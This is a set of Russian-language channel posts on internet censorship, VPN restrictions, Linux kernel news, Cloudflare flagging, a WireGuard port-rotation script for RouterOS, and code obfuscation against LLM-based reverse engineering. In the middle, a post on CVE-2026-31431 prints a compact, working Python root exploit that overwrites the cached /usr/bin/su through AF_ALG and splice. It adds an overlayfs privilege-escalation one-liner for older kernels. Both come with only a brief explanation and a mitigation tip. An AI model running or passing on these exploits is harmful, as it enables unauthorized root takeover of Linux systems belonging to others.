Хостинг-провайдерам могут запретить сдавать сервера владельцам VPN (с) Коммерсант

Поправки ко второму чтению «Антифрод 2.0» предлагают запретить хостерам предоставлять вычислительные мощности тем, кто обеспечивает доступ к информации, заблокированной в РФ. По факту - под нож попадают почти все VPN-сервисы, которые не в белом списке.

Хостеры перестанут быть «просто трубой» и превратятся в контролёров: теперь им самим придётся рыть, кому они сдают железо, и отказывать «неправильным» клиентам. Санкций в тексте пока нет, но тенденция ясна.

А дальше по классике:
- Введут белые списки «разрешённых» VPN (корпоративные и «лояльные» выживут).
- Остальные уйдут в серую зону + рост виртуальных карт, обналов и «ухода бабла налево».
- Следом - новая волна криминализации крипты (уже и так обещают уголовку за нелегальный обмен).

В итоге держать свою инфраструктуру (дедик/свой стек, VPS вообще не рассматриваем по понятным причинам) станет:
A. дорого - комиссии, проверки, риски блокировок аккаунтов;
Б. сложно - постоянный гемор с легальностью и обходами.

Короче, очередной виток «суверенизации». Кто уже поднимает свой VPN на дедиках, арендует место (да, не дешево, ну а что вы хотели) или выводит свое железо за бугор - молодцы. Остальным будет веселее. Кратно веселее.

Готовы к новым танцам с бубном или как обычно «пока не прижмёт - пох»? Больно что уже 99% с гита нормально не скачать, скорость буквально метр.

Дайджест Linux 7.1 - что уже влили?

Ядро 7.1 только начало собираться, а изменений уже вагон:

1. NTFS resurrection - полный новый in-kernel драйвер NTFS (переписан от автора exFAT). Полноценный read/write, folio, iomap, нормальная скорость. Линус назвал это «воскрешением NTFS». Dual-boot'еры и те, кто таскает внешние виндовые диски, наконец-то вздохнут спокойно - без ntfs-3g и гемора. (Реально наконец-то)

2. Вычищают поддержку Байкал - начинают удалять драйверы и bindings для российских процессоров Baikal (ATA, bt1-ahci и прочее). Компания схлопнулась, upstream мёртвый, железо в дикой природе почти не найти - код просто убирают, чтобы не висел грузом.

3. Дропают поддержку i486 - впервые с 2012 года убирают конфиги M486, M486SX и MELAN. Старое железо 90-х официально отправляют на пенсию. F.

4. Блок и IO_uring - shared memory zero-copy для ublk (user-space block driver), RAID фиксы, улучшения в NVMe.

5. Scheduler и crypto - мелкие, но приятные оптимизации под современные workloads + больше оптимизаций по умолчанию в крипто.

6. Другие вкусняшки - новые AMD SMCA bank types (для будущих EPYC), улучшения FRED для Intel Panther Lake, Btrfs encoded I/O и быстрее fsync, FSCRYPT с direct I/O для зашифрованных файлов и т.д.

Короче, ждем в проде.

Тим Кук ушел.

Джон Тернус с 1 сентября 2026 года станет новым генеральным директором Apple.

Тим Кук займет должность исполнительного председателя совета директоров, передает CNBC.

Все что могу прокомментировать с учетом новостей последней недели…

Мы живем в таймлайне где Дуров постит музыкальный нейрослоп. На этом все.

Сегодня ровно год, как глава Минцифры Максут Шадаев заявил, что в России не планируют запрещать мессенджеры и интернет.

И ОН СНОВА ЭТО СДЕЛАЛ.

upd: ДВАЖДЫ.

CVE-2026-31431
Copy Fail: 732 байта до рута.
Буквально повышение прав на любой Linux тачке ядром свежее 2017 года (4.14).

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Если коротко, то это логическая ошибка в ядре Linux, накапливавшаяся годами и позволяющая непривилегированному пользователю перезаписать 4 байта в кэше страниц (page cache) любого читаемого файла. Уязвимость проявляется на стыке трёх компонентов:
1. AF_ALG: Механизм ядра, позволяющий пользовательским программам без специальных прав обращаться к криптографическим функциям напрямую.
2. splice(): Системный вызов для высокопроизводительного копирования данных между файловыми дескрипторами. В нашем случае он передаёт страницы кэша файла /usr/bin/su в AF_ALG без их копирования.
3. authencesn: Криптографический алгоритм, который по ошибке записывает промежуточные данные за пределы выделенного ему буфера, прямо в переданные страницы кэша файла.

Ситуация действительно серьёзная - уязвимость затрагивает ядра Linux, начиная с версии 4.14 (выпущена в конце 2017 года).

Из выходов вижу пока как то выпиливать или блеклистить algif_aead, что бы userspace не общался с ядром напрямую в этой операции.

Почитать поподробнее можно тут: copy.fail
P.S. в некоторых системах /usr/bin/su нет, а вот /bin/su есть.


Бонусом для до 17 года:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"

Немного про Cloudflare, Telega и MAX.
Многие думают, что Cloudflare сам сидит и реверсит каждый мессенджер.
На деле — нет.

У них вся система завязана на abuse-репортах (форма abuse.cloudflare.com). Любой может закидать жалобу с "доказательствами": ссылки на (зачастую) статический реверс, Wireshark-дампы и т.д. Когда таких репортов наваливает куча (а по MAX их было не мало от "исследователей") - флаг «spyware/malware» прилетает почти автоматически.

Сам Cloudflare не занимается глубоким реверсом приложений. Они просто реагируют на сигналы от комьюнити.

Метку иногда снимают после обращения разработчиков, но последствия (отзыв сертификата, проблемы в App Store) часто остаются.

В текущий момент я вижу это как политический инструмент на фоне новостей про Twitch в том числе.



ИМХО:
Опыт реверса мессенджеров (в том числе и закрытых коммерческих) всегда тебе говорит о том, что используя любой мессенджер - ты зачастую соглашаешься с тем, что ты доверяешь людям, которые держат сервера.

Signal, Telegram, VK - да что угодно имеет огромное количество мета-информации, которой зачастую достаточно что бы Вас закрыть. От мысли что Вас пасут - легко не становится, Вы буквально сидите сейчас читаете этот пост с канала связи, который оформлен на Ваши паспортные данные. В любой стране мира. Все устройства имеют аппаратные идентификаторы, которые Вы ни раз уже спалили биг-теху и специфическим службам.

Большинство людей парится об анонимности, а не о приватности, не понимая разницу между ними.

Дропну для RouterOS 7+ скрипт для динамической смены портов на WireGuard интерфейсе клиента. Может кому то такой простой скрипт сэкономит время

Открываем консоль:

/system script add name=wg-rotate-port source={
    :local iface "ТУТ ИМЯ ВАШЕГО ИНТЕРФЕЙСА"
    :local minPort 30000
    :local maxPort 50000

    # Псевдо-рандом на основе времени + uptime
    :local timeNow [/system clock get time]
    :local sec [:tonum [:pick $timeNow 6 8]]
    :local up [/system resource get uptime]
    :local upSec [:tonum [:pick $up ([:len $up]-2) [:len $up]]]

    :local rand ( ($sec * $upSec + [:tonum [:pick [/system identity get name] 0 3]]) % ($maxPort - $minPort + 1) )
    :local newPort ($minPort + $rand)

    :log info ("WG rotate: changed listen-port to " . $newPort . " (seed: " . $sec . "/" . $upSec . ")")

    /interface wireguard set [find name=$iface] listen-port=$newPort

    # Обновляем firewall (ищем по comment, можете блок ниже убрать, если не используете)
    :local fwRule [/ip firewall filter find comment~"КОММЕНТ ПРАВИЛА ИНТЕРФЕЙСА"]
    :if ([:len $fwRule] > 0) do={
        /ip firewall filter set $fwRule dst-port=$newPort
    } else={
        :log warning "WG rotate: firewall rule с comment not found!"
    }
}

Затем добавим смену порта скриптом каждые 3 часа:

/system scheduler add name=wg-port interval=3h on-event=wg-rotate-port start-time=00:00:00

Ну и проверьте что все ок:

/system script run wg-rotate-port

В Москве отключили мобильный инет.
Не работают даже белые списки.

Ранее в понедельник операторы связи предупредили о возможности временных ограничений на мобильный интернет и смс в Москве и Московской области с 5 по 9 мая по соображениям безопасности.


UPD: Даже не приходят СМС с первого раза.
UPD2: В некоторых частях Москвы просто нет связи. Вообще.

Смерть обфускации? Не спешите хоронить.

Недавно прочитал на xakep.ru статью «Смерть обфускации. Как ИИ ломает защиту кода за часы».

Там всё по делу: LLM + Frida теперь за пару часов разбирают даже серьёзные DexGuard/DexProtector, восстанавливают семантику, цепляют runtime и превращают статическую защиту в тряпку.

Звучит как приговор, да?
Но это приговор только для ленивых и стандартных решений. Обфускация не умерла — она просто ушла на следующий уровень. На тот, где ИИ начинает захлёбываться.

Вот что реально работает против связки LLM + Frida в 2026-м:
1. Matryoshka Wall (вложенная матрёшка)
Код обфусцируется слоями. Первый слой - control-flow flattening и opaque predicates.
Второй слой берёт уже обфусцированный результат и делает из него новый исходник.
4–6 уровней.
LLM видит только верхний слой и пытается его «понять». А настоящая логика раскрывается только в runtime, причём каждый уровень зависит от предыдущего. Токен-лимит, невозможность держать в голове глубокую вложенность + динамика = модель начинает уверенно галлюцинировать. Тесты на Claude Opus 4.6 показывают падение качества деобфускации до 8–12%. Это уже не задержка, это провал.

2. Custom runtime dispatcher + self-modifying code
Забудьте про готовые OLLVM-пассы. Делаем свой тонкий виртуальный интерпретатор (bytecode-машина), где инструкции генерируются и мутируют в памяти прямо во время работы.
Ключи от обфускации завязываем на hardware (серийник устройства, MAC, CPUID и т.д.). Frida, конечно, увидит runtime, но предсказать и восстановить всю картину - пипец как сложно, когда паттерна нет.
Кстати, именно по этому тяжелее реверсить aarch64 приложения на x86 платформе. Транскод + сдвиги в памяти.


3. Adversarial generation (Vibecode-стиль)
Берём свою локальную модель и специально просим её насрать «умный мусор»: dead-код, который выглядит легитимно, математически корректен, но семантически ломает chain-of-thought.
Мелкие файлы с кучей cross-references. Шум, который специально заточен под то, чтобы LLM тонул.

4. Переезд критичной логики на сервер + JIT-токены
Статья на xakep это тоже упоминает - и правильно. Всё, что можно, уносим на сервер. Клиент получает только одноразовые JIT-токены и минимальный stub. Обфускация клиента становится вторичной.
Реалистично для соло-разработчика или небольшой команды

Вывод простой:
ИИ + Frida действительно убивают стандартную обфускацию. Но кастомная, layered, runtime-oriented и hardware-bound - пока живее всех живых. Просто теперь это не «включил обфускатор в Gradle и забыл», а настоящее оружие, которое нужно делать под себя. Заниматься архитектурой приложения, уровнями и контейнерезацией.

Обфускация жива.
Просто теперь она должна быть умнее.